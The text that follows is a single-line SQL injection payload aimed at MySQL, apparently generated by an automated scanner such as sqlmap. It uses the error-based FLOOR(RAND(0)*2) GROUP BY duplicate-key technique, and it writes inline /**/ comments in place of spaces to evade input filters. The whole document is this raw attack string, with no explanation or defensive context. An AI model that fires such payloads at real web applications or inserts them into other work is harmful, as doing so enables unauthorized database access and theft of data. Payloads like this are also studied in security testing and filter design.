1,(SELECT/**/1209/**/FROM/**/(SELECT/**/ROW(1209,3683)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1209=1209,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/1508/**/UNION/**/SELECT/**/6191/**/UNION/**/SELECT/**/5592/**/UNION/**/SELECT/**/6055)a/**/GROUP/**/BY/**/x))s)